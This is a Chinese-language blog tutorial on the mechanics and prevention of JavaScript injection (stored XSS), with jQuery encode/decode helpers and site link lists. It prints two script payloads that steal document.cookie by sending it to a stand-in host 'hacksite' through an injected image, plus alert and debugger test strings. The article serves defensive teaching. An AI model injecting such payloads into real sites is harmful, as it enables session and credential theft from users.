JavaScript注入漏洞的原理及防范(详解)


Posted in Javascript onDecember 04, 2016

初次接触:

初次接触JavaScript注入漏洞后,如果不对这种漏洞的作用机理仔细分析并提取出其发生的某种模式,你就不能做到快速的发现项目中可能存在的所有注入风险并在代码中防范。

发生模式:

JavaScript注入漏洞能发生作用主要依赖两个关键的动作,一个是用户要能从界面中注入JavaScript到系统的内存或者后台存储系统中;二是系统中存在一些UI会展示用户注入的数据。

比如注入漏洞最常见的就是发生在各种类型的名字中,比如系统中的人名等等,因为名字往往会在各种系统上显示,如果在某个用户输入名字的时候注入了脚本,那么受其影响的各个系统都有发生注入漏洞的风险。

曾经在帮别的项目做Bug Bash时,我给系统中的一个名字中注入了JavaScript脚本,结果导致使用这个名字的8个子系统、站点、app出现问题。

解决方案:

防范注入漏洞主要有两个思路:一个是在用户输入数据后Encode内容后再保存到持久存储,另一个是在展示用户输入数据的地方Encode从持久存储中取到的数据。

方法一的优点是一般存储用户输入数据的代码少而固定但展示输入数据的UI界面可能有很多而且还会有变化的可能,因此比较好防范;但缺点是存储在持久存储中的数据是Encode后的。

方法二的优点是存储在持久存储中的数据原始内容;但缺点是需要在多处UI界面中写代码防范,而且还得确保在增加新的UI时不忘防范。比如现在Web app比较流行,公司决定开发,那么在开发的过程必须要做好防范,否则可能别的地方都防范好了,但新系统中却没有做好防范,漏洞最后还是发生了。

JavaScript Html Encode/Decode by jQuery:

function htmlEncode(value){

return $('<div/>').text(value).html();

}

function htmlDecode(value){

return $('<div/>').html(value).text();

}

漏洞被用于攻击时注入内容:

jQuery场景:

<script>var i=$("<img></img>");i.attr("src", "http://hacksite?k="+document.cookie);$('body').append(i)</script>

原生JS场景:

<script>var d=document;var i=d.createElement("img");i.setAttribute("src","http://hacksite?k="+d.cookie);d.body.appendChild(i)</script>

测试漏洞时注入内容:

<script>alert(0)</script>

<script>debugger</script> --辅助开发人员快速定位出错的JavaScript代码(打开调试器的情况下)。

以上这篇JavaScript注入漏洞的原理及防范(详解)就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Javascript 相关文章推荐
EASYUI TREEGRID异步加载数据实现方法
Aug 22 Javascript
Egret引擎开发指南之创建项目
Sep 03 Javascript
javascript简单实现滑动菜单效果的方法
Jul 27 Javascript
基于jQuery实现多标签页切换的效果(web前端开发)
Jul 24 Javascript
浅谈Javascript中的12种DOM节点类型
Aug 19 Javascript
Vue自定义指令介绍(2)
Dec 08 Javascript
手机软键盘弹出时影响布局的解决方法
Dec 15 Javascript
jQuery实现页面滚动时智能浮动定位
Jan 08 Javascript
如何在Angular2中使用jQuery及其插件的方法
Feb 09 Javascript
vue 里面使用axios 和封装的示例代码
Sep 01 Javascript
jQuery实现模糊搜索功能的方法分析
Jun 29 jQuery
原生JS实现九宫格抽奖
Sep 13 Javascript
浅谈html转义及防止javascript注入攻击的方法
Dec 04 #Javascript
jquery select2的使用心得(推荐)
Dec 04 #Javascript
Jquery删除css属性的简单方法
Dec 04 #Javascript
浅谈jQuery before和insertBefore的区别
Dec 04 #Javascript
jQuery根据ID、CLASS、等获取对象的实例
Dec 04 #Javascript
jQuery得到多个值只能用取Class ,不能用取ID的方法
Dec 04 #Javascript
javaScript中定义类或对象的五种方式总结
Dec 04 #Javascript
You might like
php截取中文字符串函数实例
2015/02/23 PHP
PHP往XML中添加节点的方法
2015/03/12 PHP
php无法连接mysql数据库的正确解决方法
2016/07/01 PHP
jquery实现盒子下拉效果示例代码
2013/09/12 Javascript
jQuery多媒体插件jQuery Media Plugin使用详解
2014/12/19 Javascript
限制文本框只能输入数字||只能是数字和小数点||只能是整数和浮点数
2016/05/27 Javascript
jQuery实现鼠标经过购物车出现下拉框代码(推荐)
2016/07/21 Javascript
jQuery简单注册和禁用全局事件的方法
2016/07/25 Javascript
jQuery中show与hide方法用法示例
2016/09/16 Javascript
DOM 事件的深入浅出(一)
2016/12/05 Javascript
vue子组件使用自定义事件向父组件传递数据
2017/05/27 Javascript
Js利用console计算代码运行时间的方法示例
2017/09/24 Javascript
vue中的自定义分页插件组件的示例
2018/08/18 Javascript
React事件处理的机制及原理
2018/12/03 Javascript
微信小程序获取用户信息的两种方法wx.getUserInfo与open-data实例分析
2019/05/03 Javascript
[56:24]DOTA2上海特级锦标赛主赛事日 - 3 胜者组第二轮#1Liquid VS MVP.Phx第二局
2016/03/04 DOTA
[03:59]第二届DOTA2亚洲邀请赛选手传记-VGJ.rOtk
2017/04/03 DOTA
Python 实现链表实例代码
2017/04/07 Python
Python基于numpy灵活定义神经网络结构的方法
2017/08/19 Python
利用pandas将numpy数组导出生成excel的实例
2018/06/14 Python
简单了解Python3里的一些新特性
2019/07/13 Python
python 批量添加的button 使用同一点击事件的方法
2019/07/17 Python
python基于socket进行端口转发实现后门隐藏的示例
2019/07/25 Python
python实现静态服务器
2019/09/05 Python
python 字典套字典或列表的示例
2019/12/16 Python
python isinstance函数用法详解
2020/02/13 Python
Sephora丝芙兰马来西亚官方网站:国际化妆品购物
2018/03/15 全球购物
秋季运动会广播稿
2014/02/22 职场文书
养生餐厅创业计划书范文
2014/03/26 职场文书
监察局领导班子四风问题整改措施思想汇报
2014/10/05 职场文书
党支部反对四风思想汇报
2014/10/10 职场文书
2014年机关后勤工作总结
2014/12/16 职场文书
初中体育教学随笔
2015/08/15 职场文书
Ajax 的初步实现(使用vscode+node.js+express框架)
2021/06/18 Javascript
自从在 IDEA 中用了热部署神器 JRebel 之后,开发效率提升了 10(真棒)
2021/06/26 Java/Android
使用Redis实现分布式锁的方法
2022/06/16 Redis